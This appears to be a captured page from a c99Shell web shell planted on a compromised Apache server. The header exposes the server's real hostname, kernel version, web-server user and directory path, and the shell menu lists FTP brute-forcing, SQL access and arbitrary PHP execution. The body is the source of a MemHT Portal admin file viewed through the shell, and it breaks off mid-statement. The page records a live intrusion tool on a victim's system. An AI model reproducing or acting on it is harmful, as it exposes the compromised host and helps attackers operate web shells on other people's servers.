!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/admin/pages/groups/   drwxr-xr-x
Free 46.43 GB of 127.8 GB (36.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (39.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/

if (!defined("_LOAD_PAGE_")) {
    die(
"<table style='padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;' align='center'><tr><td><b>Error:</b> This file cannot be opened directly!</td></tr></table>");
}

//================
// TYPE
//----------------
// 0 = Manual
// 1 = Posts
// 2 = Contributes
//----------------

if (isset($_GET['op'])) { $op inCode($_GET['op']); } else { $op ""; }
if (isset(
$_GET['id'])) { $id inCode($_GET['id']); } else { $id ""; }
if (isset(
$_GET['ok'])) { $ok inCode($_GET['ok']); } else { $ok false; }
if (isset(
$_GET['subop'])) { $subop inCode($_GET['subop']); } else { $subop ""; }

if (isset(
$_GET['pg'])) { $pg inCode($_GET['pg']); } else { $pg 1; }
$ofsppg 30//Items per page
$ofsbgn = ($pg*$ofsppg)-$ofsppg;

function 
groupList($ofsbgn,$ofsppg,$pg) {
    global 
$dblink;
    
    
$n 0;
    echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
    echo 
"<thead>\n";
    echo 
"<tr><td>"._NAME_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
    if (
$result $dblink->get_list("SELECT * FROM memht_groups ORDER BY name LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$name outCode($row['name']);
            
$type intval($row['type']);
            
$amount intval($row['amount']);
            
            switch (
$type) {
                case 
0$type " ("._MANUAL_.")"; break;
                case 
1$type " ("._FORUM_POSTS_.", "._AMOUNT_.": $amount)"; break;
                case 
2$type " ("._CONTRIBUTES_.", "._AMOUNT_.": $amount)"; break;
            }
            
            
$act_members $dblink->get_num("SELECT * FROM memht_groups_members WHERE groupid='$id' AND standby=0");
            
$tot_members $dblink->get_num("SELECT * FROM memht_groups_members WHERE groupid='$id' AND standby=1");
            
$tot_pages $dblink->get_num("SELECT * FROM memht_groups_pages WHERE groupid='$id'");
            
            
$class = (($n++%2)!=0) ? "hlight" "clean" ;
            echo 
"<tr><td class='$class'><a href='admin.php?page=groups&op=showGroup&id=$id' title='$name'><b>$name</b></a> <span id='info'>(<b>$act_members</b> "._ACTIVE_." / $tot_members "._STANDBY_.") ($tot_pages "._PAGES_.")$type</span></td><td class='$class' nowrap><div align='right'><a href='admin.php?page=groups&op=editGroup&id=$id' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=deleteGroup&id=$id' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></div></td></tr>\n";
        }
    } else {
        echo 
"<tr><td colspan='2' align='center' id='errorText' class='clean'><b>"._EMPTY_."</b></td></tr>\n";
    }
    echo 
"</tbody>\n";
    echo 
"</table>";
    
    
//Pages
    
include_once("inc/class/paginationSystem.class.php");
    
$ps = new paginationSystem();
    
$ps->items $ofsppg;
    
$ps->actpg $pg;
    
$ps->query "SELECT id FROM memht_groups";
    
$ps->url "admin.php?page=groups&op=showGroups&pg={{N}}";
    
$ps->show();
}

function 
addGroup($ok=false) {
    global 
$dblink;

    if (!
$ok) {
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form' method='post' action='admin.php?page=groups&op=addGroup&ok=true'>";
            echo 
"<tr><td width='20%'><b>"._NAME_."</b></td><td><input type='text' name='name' size='30' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._TYPE_."</b></td><td>";
                echo 
"<select name='type'>";
                    echo 
"<option value='0' selected>"._MANUAL_."</option>";
                    echo 
"<option value='1'>"._FORUM_POSTS_."</option>";
                    echo 
"<option value='2'>"._CONTRIBUTES_."</option>";
                echo 
"</select>";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._AMOUNT_."</b></td><td><input type='text' name='amount' size='20' maxlength='255'> <span id='info'>("._COMPILEONLYIF_FORUMPOSTS_OR_CONTRIBUTES_.")</span></td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {
        
$save true;
        if (isset(
$_POST['name'])) { $name inCode($_POST['name']); } else { $save false$msg _NAME_MISSING_; }
        if (isset(
$_POST['type'])) { $type intval($_POST['type']); } else { $type 0; }
        if (isset(
$_POST['amount'])) { $amount intval($_POST['amount']); } else { $amount 0; }
        if (
$type==0) { $amount 0; }
        
        if (
$save) {
            
$dblink->query("INSERT INTO memht_groups (id,name,type,amount) VALUES (null,'$name','$type','$amount')");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b><br>$msg</div>";
        }
    }
}

function 
editGroup($id,$ok=false) {
    global 
$dblink;
    
$id intval($id);
    
    if (!
$ok) {
        
$row $dblink->get_row("SELECT * FROM memht_groups WHERE id='$id'");
        
$name outCode($row['name']);
        
$type intval($row['type']);
        
$amount intval($row['amount']);
        
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form' method='post' action='admin.php?page=groups&op=editGroup&id=$id&ok=true'>";
            echo 
"<tr><td width='20%'><b>"._NAME_."</b></td><td><input type='text' name='name' value=\"$name\" size='30' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._TYPE_."</b></td><td>";
                echo 
"<select name='type'>";
                    echo 
"<option value='0'"; if ($type==0) { echo "selected"; } echo ">"._MANUAL_."</option>";
                    echo 
"<option value='1'"; if ($type==1) { echo "selected"; } echo ">"._FORUM_POSTS_."</option>";
                    echo 
"<option value='2'"; if ($type==2) { echo "selected"; } echo ">"._CONTRIBUTES_."</option>";
                echo 
"</select>";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._AMOUNT_."</b></td><td><input type='text' name='amount' value=\"$amount\" size='20' maxlength='255'> <span id='info'>("._COMPILEONLYIF_FORUMPOSTS_OR_CONTRIBUTES_.")</span></td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {
        
$save true;
        if (isset(
$_POST['name'])) { $name inCode($_POST['name']); } else { $save false$msg _NAME_MISSING_; }
        if (isset(
$_POST['type'])) { $type intval($_POST['type']); } else { $type ""; }
        if (isset(
$_POST['amount'])) { $amount intval($_POST['amount']); } else { $amount ""; }
        if (
$type==0) { $amount 0; }
        
        if (
$save) {
            
$dblink->query("UPDATE memht_groups SET name='$name',type='$type',amount='$amount' WHERE id='$id'");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b><br>$msg</div>";
        }
    }
}

function 
deleteGroup($id,$ok=false) {
    global 
$dblink;    
    
$id intval($id);
    
    if (
$ok) {
        
$dblink->query("DELETE FROM memht_groups WHERE id=$id");
        
$dblink->query("DELETE FROM memht_groups_members WHERE groupid=$id");
        
$dblink->query("DELETE FROM memht_groups_pages WHERE groupid=$id");
        
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";        
    } else {
        echo 
"<div align='center'><b>"._SUREDELETE_."</b><br><a href='admin.php?page=groups&op=deleteGroup&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=groups' title='"._NO_."'>"._NO_."</a></div>";
    }
}

function 
showGroup($id,$ofsbgn,$ofsppg,$pg) {    
    global 
$dblink,$siteConfig;
    
$gid intval($id);
    
    
$n 0;
    echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
    echo 
"<thead>\n";
    echo 
"<tr><td width='30%'>"._USERNAME_."</td><td width='15%'>"._PERMANENT_."</td><td width='25%'>"._JOINED_."</td><td width='25%'>"._EXPIRE_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
    if (
$result $dblink->get_list("SELECT m.*,DATE_FORMAT(m.joined, '".$siteConfig['timestamp']."') as joined,DATE_FORMAT(m.expire, '".$siteConfig['timestamp']."') as expire,u.user AS username,u.id AS uid FROM memht_groups_members AS m JOIN memht_utenti AS u ON m.user=u.id WHERE m.groupid=$gid AND m.standby=0 ORDER BY u.user LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$uid intval($row['uid']);
            
$groupid intval($row['groupid']);
            
$username outCode($row['username']);
            
$permanent intval($row['permanent']);
            
$joined $row['joined'];
            
$expire $row['expire'];
            
$note outCode($row['note']);
            if (
$note!="") { $noteplus "&nbsp;<img src='images/note.gif' alt='Note' border='0' title='header=["._INFORMATIONS_."] body=[$note]'>"; } else { $noteplus ""; }
            
            
$permanent = ($permanent==1) ? _YES_ _NO_ ;
            
            
$class = (($n++%2)!=0) ? "hlight" "clean" ;
            echo 
"<tr><td class='$class'><img src='images/bullet_paper.gif' alt='Bullet' border='0'> <a href='index.php?page=users&op=userInfo&uid=$uid' title='$username'><b>$username</b></a>$noteplus</td><td class='$class'>$permanent</td><td class='$class'>$joined</td><td class='$class'>$expire</td><td class='$class' nowrap><a href='admin.php?page=groups&op=editMember&id=$id' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=deleteMember&id=$id' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></td></tr>\n";
        }
    } else {
        echo 
"<tr><td colspan='5' align='center' id='errorText' class='clean'><b>"._EMPTY_."</b></td></tr>";
    }
    echo 
"</tbody>\n";
    echo 
"</table>";
    
    
//Pages
    
include_once("inc/class/paginationSystem.class.php");
    
$ps = new paginationSystem();
    
$ps->items $ofsppg;
    
$ps->actpg $pg;
    
$ps->query "SELECT id FROM memht_groups_members";
    
$ps->url "admin.php?page=groups&op=showGroup&id=$gid&pg={{N}}";
    
$ps->show();
    
    
//Stand-by
    
echo "<br>";
    
$n 0;
    echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
    echo 
"<thead>\n";
    echo 
"<tr><td colspan='5'><b>"._STANDBY_."</b></td></tr>\n";
    echo 
"<tr><td width='30%'>"._USERNAME_."</td><td width='15%'>"._PERMANENT_."</td><td width='25%'>"._JOINED_."</td><td width='25%'>"._EXPIRE_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
    if (
$result $dblink->get_list("SELECT m.*,DATE_FORMAT(m.joined, '".$siteConfig['timestamp']."') as joined,DATE_FORMAT(m.expire, '".$siteConfig['timestamp']."') as expire,u.user AS username,u.id AS uid FROM memht_groups_members AS m JOIN memht_utenti AS u ON m.user=u.id WHERE m.groupid=$gid AND m.standby=1 ORDER BY u.user LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$uid intval($row['uid']);
            
$groupid intval($row['groupid']);
            
$username outCode($row['username']);
            
$permanent intval($row['permanent']);
            
$joined $row['joined'];
            
$expire $row['expire'];
            
$note outCode($row['note']);
            if (
$note!="") { $noteplus "&nbsp;<img src='images/note.gif' alt='Note' border='0' title='header=["._INFORMATIONS_."] body=[$note]'>"; } else { $noteplus ""; }
            
            
$permanent = ($permanent==1) ? _YES_ _NO_ ;
            
            
$class = (($n++%2)!=0) ? "hlight" "clean" ;
            echo 
"<tr><td class='$class'><img src='images/bullet_paper.gif' alt='Bullet' border='0'> <a href='index.php?page=users&op=userInfo&uid=$uid' title='$username'><b>$username</b></a>$noteplus</td><td class='$class'>$permanent</td><td class='$class'>$joined</td><td class='$class'>$expire</td><td class='$class' nowrap><div align='right'><a href='admin.php?page=groups&op=editMember&id=$id' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=deleteMember&id=$id' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></div></td></tr>\n";
        }
    } else {
        echo 
"<tr><td colspan='5' align='center' id='errorText' class='clean'><b>"._EMPTY_."</b></td></tr>";
    }
    echo 
"</tbody>\n";
    echo 
"</table>";
}

function 
addMember($ok) {
    global 
$dblink,$tzNOW;

    
?>
    <link rel="stylesheet" href="inc/javascript/jquery/plugins/datepicker/flora.datepicker.css" type="text/css">
    <script type="text/javascript" src="inc/javascript/jquery/plugins/datepicker/ui.datepicker.js"></script>

    <script type="text/javascript">
        $(document).ready(function(){
            $('#selectdate').datepicker();
        });
    </script>
    <?php
    
    
if (!$ok) {
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='addmemb' method='post' action='admin.php?page=groups&op=addMember&ok=true'>";
            echo 
"<tr><td width='25%'><b>"._GROUP_."</b></td><td>\n";
                echo 
"<select name='group'>\n";
                    
$result $dblink->get_list("SELECT * FROM memht_groups ORDER BY name");
                    foreach (
$result as $row) {
                        
$groupid intval($row['id']);
                        
$groupname outCode($row['name']);
                        
                        echo 
"<option value='$groupid'>$groupname</option>\n";
                    }
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._USERNAME_."</b></td><td><input type='text' name='username' size='20' maxlength='255'> <input type='button' value='"._FIND_."' onClick=\"openPopup('inc/popwin/finduser.php?form=addmemb&element=username&username='+document.forms['addmemb'].elements['username'].value+'','350','400');\"></td></tr>\n";
            echo 
"<tr><td><b>"._PERMANENT_."</b></td><td>\n";
                echo 
"<select name='permanent'>\n";
                    echo 
"<option value='1' selected>"._YES_."</option>\n";
                    echo 
"<option value='0'>"._NO_."</option>\n";
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._EXPIRE_."</b></td><td><input type='text' name='expire' id='selectdate' size='20' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._STANDBY_."</b></td><td>\n";
                echo 
"<select name='standby'>\n";
                    echo 
"<option value='1'>"._YES_."</option>\n";
                    echo 
"<option value='0' selected>"._NO_."</option>\n";
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td valign='top'><b>"._NOTE_."</b></td><td>\n";
                
textarea("note","100%","200px",1,"fulladmin");
            echo 
"</td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {
        
$save true;
        if (isset(
$_POST['group'])) { $group intval($_POST['group']); } else { $group ""; }
        if (isset(
$_POST['username'])) { $username inCode($_POST['username']); } else { $save false$msg _USERNAME_MISSING_; }
        if (isset(
$_POST['permanent'])) { $permanent intval($_POST['permanent']); } else { $permanent ""; }
        if (isset(
$_POST['expire'])) { $expire inCode($_POST['expire']); } else { $expire ""; }
        if (isset(
$_POST['standby'])) { $standby intval($_POST['standby']); } else { $standby ""; }
        if (isset(
$_POST['note'])) { $note inCode($_POST['note']); } else { $note ""; }
        if (!
$row $dblink->get_row("SELECT id FROM memht_utenti WHERE user='$username'")) { $save false$msg _USERNOTFOUND_; }
        
        if (
$save) {
            
$uid intval($row['id']);
            
$dblink->query("INSERT INTO memht_groups_members (groupid,user,permanent,joined,expire,type,standby,note)
                                VALUES ('$group','$uid','$permanent',$tzNOW,'$expire','0','$standby','$note')"
);
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b><br>$msg</div>";
        }
    }
}

function 
editMember($id,$ok) {
    global 
$dblink;
    
    if (!
$ok) {
        
?>
        <link rel="stylesheet" href="inc/javascript/jquery/plugins/datepicker/flora.datepicker.css" type="text/css">
        <script type="text/javascript" src="inc/javascript/jquery/plugins/datepicker/ui.datepicker.js"></script>
    
        <script type="text/javascript">
            $(document).ready(function(){
                $('#selectdate').datepicker();
            });
        </script>
        <?php
        
        $row 
$dblink->get_row("SELECT m.*,u.user AS username FROM memht_groups_members AS m JOIN memht_utenti AS u ON m.user=u.id WHERE m.id=$id");
        
$groupid intval($row['groupid']);
        
$username outCode($row['username']);
        
$permanent intval($row['permanent']);
        
$expire $row['expire'];
        
$standby intval($row['standby']);
        
$note outCode($row['note']);
    
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='editmemb' method='post' action='admin.php?page=groups&op=editMember&id=$id&ok=true'>";
            echo 
"<tr><td width='25%'><b>"._GROUP_."</b></td><td>\n";
                echo 
"<select name='group'>\n";
                    
$result $dblink->get_list("SELECT * FROM memht_groups ORDER BY name");
                    foreach (
$result as $row) {
                        
$gid intval($row['id']);
                        
$groupname outCode($row['name']);
                        
                        if (
$groupid==$gid) {
                            echo 
"<option value='$groupid' selected>$groupname</option>\n";
                        } else {
                            echo 
"<option value='$groupid'>$groupname</option>\n";
                        }
                    }
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._USERNAME_."</b></td><td><input type='text' name='username' value=\"$username\" size='20' maxlength='255'> <input type='button' value='"._FIND_."' onClick=\"openPopup('inc/popwin/finduser.php?form=editmemb&element=username&username='+document.forms['editmemb'].elements['username'].value+'','350','400');\"></td></tr>\n";
            echo 
"<tr><td><b>"._PERMANENT_."</b></td><td>\n";
                echo 
"<select name='permanent'>\n";
                    if (
$permanent==1) {
                        echo 
"<option value='1' selected>"._YES_."</option>\n";
                        echo 
"<option value='0'>"._NO_."</option>\n";
                    } else {
                        echo 
"<option value='1'>"._YES_."</option>\n";
                        echo 
"<option value='0' selected>"._NO_."</option>\n";
                    }
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td><b>"._EXPIRE_."</b></td><td><input type='text' name='expire' value=\"$expire\" id='selectdate' size='20' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._STANDBY_."</b></td><td>\n";
                echo 
"<select name='standby'>\n";
                    if (
$standby==1) {
                        echo 
"<option value='1' selected>"._YES_."</option>\n";
                        echo 
"<option value='0'>"._NO_."</option>\n";
                    } else {
                        echo 
"<option value='1'>"._YES_."</option>\n";
                        echo 
"<option value='0' selected>"._NO_."</option>\n";
                    }
                echo 
"</select>\n";
            echo 
"</td></tr>\n";
            echo 
"<tr><td valign='top'><b>"._NOTE_."</b></td><td>\n";
                
textarea("note","100%","200px",1,"fulladmin",$note);
            echo 
"</td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {
        
$save true;
        if (isset(
$_POST['group'])) { $group intval($_POST['group']); } else { $group ""; }
        if (isset(
$_POST['username'])) { $username inCode($_POST['username']); } else { $save false$msg _USERNAME_MISSING_; }
        if (isset(
$_POST['permanent'])) { $permanent intval($_POST['permanent']); } else { $permanent ""; }
        if (isset(
$_POST['expire'])) { $expire inCode($_POST['expire']); } else { $expire ""; }
        if (isset(
$_POST['standby'])) { $standby intval($_POST['standby']); } else { $standby ""; }
        if (isset(
$_POST['note'])) { $note inCode($_POST['note']); } else { $note ""; }
        if (!
$row $dblink->get_row("SELECT id FROM memht_utenti WHERE user='$username'")) { $save false$msg _USERNOTFOUND_; }
        
        if (
$save) {
            
$uid intval($row['id']);
            
$dblink->query("UPDATE memht_groups_members SET groupid='$group',user='$uid',permanent='$permanent',expire='$expire',standby='$standby',note='$note' WHERE id='$id'");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b><br>$msg</div>";
        }
    }
}

function 
deleteMember($id,$ok=false) {
    global 
$dblink;
    
$id intval($id);
    
    if (
$ok) {
        
$dblink->query("DELETE FROM memht_groups_members WHERE id=$id");
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups'>";        
    } else {
        echo 
"<div align='center'><b>"._SUREDELETE_."</b><br><a href='admin.php?page=groups&op=deleteMember&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=groups' title='"._NO_."'>"._NO_."</a></div>";
    }
}

function 
newMembers($ofsbgn,$ofsppg,$pg) {    
    global 
$dblink,$siteConfig,$tzNOW;
    
    
$n 0;
    echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
    echo 
"<thead>\n";
    echo 
"<tr><td width='30%'>"._USERNAME_."</td><td width='15%'>"._PERMANENT_."</td><td width='25%'>"._JOINED_."</td><td width='25%'>"._EXPIRE_."</td><td width='1%'>&nbsp;</td></tr>\n";
    echo 
"</thead>\n";
    echo 
"<tbody>\n";
    if (
$result $dblink->get_list("SELECT m.*,DATE_FORMAT(m.joined, '".$siteConfig['timestamp']."') as joined,DATE_FORMAT(m.expire, '".$siteConfig['timestamp']."') as expire,u.user AS username,u.id AS uid,(SELECT name FROM memht_groups WHERE id=m.groupid) AS groupname FROM memht_groups_members AS m JOIN memht_utenti AS u ON m.user=u.id WHERE (m.joined + INTERVAL 7 DAY) > $tzNOW ORDER BY u.user LIMIT $ofsbgn,$ofsppg")) {
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$uid intval($row['uid']);
            
$groupid intval($row['groupid']);
            
$username outCode($row['username']);
            
$permanent intval($row['permanent']);
            
$joined $row['joined'];
            
$expire $row['expire'];
            
$note outCode($row['note']);
            
            
$noteplus " (<a href='admin.php?page=groups&op=showGroup&id=$groupid' title=\"".outCode($row['groupname'])."\">".outCode($row['groupname'])."</a>)";
            if (
$note!="") { $noteplus .= " <a href=\"javascript:void(0);\" onClick=\"showhide('group_$id');\"><img src='images/note.gif' alt='"._NOTE_."' border='0' title='"._NOTE_."'></a>"; }
            
$permanent = ($permanent==1) ? _YES_ _NO_ ;
            
            
$class = (($n++%2)!=0) ? "hlight" "clean" ;
            echo 
"<tr><td class='$class'><img src='images/bullet_paper.gif' alt='Bullet' border='0'> <a href='index.php?page=users&op=userInfo&uid=$uid' title='$username'><b>$username</b></a>$noteplus</td><td class='$class'>$permanent</td><td class='$class'>$joined</td><td class='$class'>$expire</td><td width='1%' class='$class' nowrap><a href='admin.php?page=groups&op=editMember&id=$id' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=deleteMember&id=$id' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></td></tr>\n";
            if (
$note!="") { echo "<tr><td colspan='4'><div id='group_$id' style='display:none;' class='box'>$note</div></td></tr>"; }
        }
    } else {
        echo 
"<tr><td colspan='5' align='center' id='errorText' class='clean'><b>"._EMPTY_."</b></td></tr>";
    }
    echo 
"</tbody>\n";
    echo 
"</table>";
    
    
//Pages
    
include_once("inc/class/paginationSystem.class.php");
    
$ps = new paginationSystem();
    
$ps->items $ofsppg;
    
$ps->actpg $pg;
    
$ps->query "SELECT id FROM memht_groups_members WHERE (joined + INTERVAL 7 DAY) > $tzNOW";
    
$ps->url "admin.php?page=groups&op=newMembers&pg={{N}}";
    
$ps->show();
}

function 
managePages($id,$subop,$ok=false) {
    global 
$dblink,$siteConfig;
    
$id intval($id);
    
    
openTable();
        echo 
"<div align='center' class='box'>";
            echo 
"<a href='admin.php?page=groups&op=managePages' title='"._LIST_."'><img src='admin/icons/pages.png' border='0' title='"._LIST_."' align='top'> "._LIST_."</a>";
            echo 
" - <a href='admin.php?page=groups&op=managePages&subop=addPage' title='"._ADD_."'><img src='admin/icons/add.png' border='0' title='"._ADD_."' align='top'> "._ADD_."</a>";
        echo 
"</div>";
    
closeTable();
    
    switch(
$subop) {
        case 
"getList":
        default:
            
$n 0;
            echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>\n";
            echo 
"<thead>\n";
            echo 
"<tr><td width='50%'>"._PAGE_."</td><td>"._GROUP_."</td><td width='1%'>&nbsp;</td></tr>\n";
            echo 
"</thead>\n";
            echo 
"<tbody>\n";
            if (
$result $dblink->get_list("SELECT * FROM memht_groups_pages ORDER BY page")) {
                foreach (
$result as $row) {
                    
$pid intval($row['id']);
                    
$groupid intval($row['groupid']);
                    
$gpage outCode($row['page']);
                    
$prow $dblink->get_row("SELECT * FROM memht_pagine WHERE nome='$gpage'");
                    
$pagetitle outCode($prow['titolo']);
                    
                    
$grow $dblink->get_row("SELECT * FROM memht_groups WHERE id='$groupid'");
                    
$grouptitle outCode($grow['name']);
                    
                    
$numem_on $dblink->get_num("SELECT * FROM memht_groups_members WHERE groupid='$groupid' AND standby=0");
                    
$numem_off $dblink->get_num("SELECT * FROM memht_groups_members WHERE groupid='$groupid' AND standby=1");
                    
                    
$class = (($n++%2)!=0) ? "hlight" "clean" ;
                    echo 
"<tr><td class='$class'><a href='index.php?page=$gpage' title='$pagetitle'><b>$pagetitle</b></a> <span id='info'>($gpage)</span></td><td class='$class'><a href='admin.php?page=groups&op=showGroup&id=$groupid' title='$grouptitle'>$grouptitle</a> <span id='info'>(<b>$numem_on</b>/$numem_off)</span></td><td class='$class' align='right' nowrap><a href='admin.php?page=groups&op=managePages&subop=editPage&id=$pid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=groups&op=managePages&subop=deletePage&id=$pid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></td></tr>\n";
                }
            } else {
                echo 
"<tr><td colspan='3' id='errorText' align='center' class='clean'><b>"._EMPTY_."</b></td></tr>\n";
            }
            echo 
"</tbody>\n";
            echo 
"</table>\n";
        break;
        
        case 
"addPage":
            if (!
$ok) {
                echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
                echo 
"<form name='form' method='post' action='admin.php?page=groups&op=managePages&subop=addPage&ok=true'>";
                    echo 
"<tr><td width='25%'><b>"._PAGE_."</b></td><td><select name='gpage'>";
                        echo 
"<option value='' style='font-weight:bold;' selected>-- "._PAGES_." --</option>\n";
                        
$result $dblink->get_list("SELECT * FROM memht_pagine ORDER BY titolo");
                        foreach (
$result as $row) {
                            
$name outCode($row['nome']);
                            
$title outCode($row['titolo']);
                            echo 
"<option value='$name'>$title</option>\n";
                        }
                        
                        if (
$siteConfig['virtualpages']==1) {
                            if (
$nav_res_vp $dblink->get_list("SELECT name,title FROM memht_virtualpages ORDER BY title")) {
                                echo 
"<option value='' style='font-weight:bold;'>-- "._VIRTUAL_PAGES_." --</option>\n";
                                foreach (
$nav_res_vp as $nav_row_vp) {
                                    
$name outCode($nav_row_vp['name']);
                                    
$title outCode($nav_row_vp['title']);
                                    
                                    echo 
"<option value='$name'>$title</option>\n";
                                }
                            }
                        }
                        
                        echo 
"</select></td></tr>\n";
                    echo 
"<tr><td><b>"._GROUP_."</b></td><td><select name='ggroup'>";
                        echo 
"<option value='' selected>-- "._GROUPS_." --</option>\n";
                        
$result $dblink->get_list("SELECT * FROM memht_groups ORDER BY name");
                        foreach (
$result as $row) {
                            
$gid intval($row['id']);
                            
$gname outCode($row['name']);
                            echo 
"<option value='$gid'>$gname</option>\n";
                        }
                        echo 
"</select></td></tr>\n";
                    echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
                echo 
"</form>\n";
                echo 
"</table>\n";
            } else {
                
$save true;
                if (isset(
$_POST['gpage']) AND $_POST['gpage']!="") { $gpage inCode($_POST['gpage']);} else { $save false; }
                if (isset(
$_POST['ggroup']) AND $_POST['ggroup']!="") { $ggroup intval($_POST['ggroup']); } else { $save false; }
                
                if (
$save) {
                    
$dblink->query("INSERT INTO memht_groups_pages (groupid,page) VALUES ('$ggroup','$gpage')");
                    echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=groups&op=managePages'>";
                } else {
                    echo 
"<div align='center' id='errorText'><b>"._FIELDINVALID_."</b></div>";
                }
            }
        break;
        
        case 
"editPage":
            if (!
$ok) {
                
$row $dblink->get_row("SELECT * FROM memht_groups_pages WHERE id='$id'");
                
$gpage outCode($row['page']);
                
$ggroup intval($row['groupid']);
            
                echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
                echo 
"<form name='form' method='post' action='admin.php?page=groups&op=managePages&subop=editPage&id=$id&ok=true'>";
                    echo 
"<tr><td width='25%'><b>"._PAGE_."</b></td><td><select name='gpage'>";
                        echo 
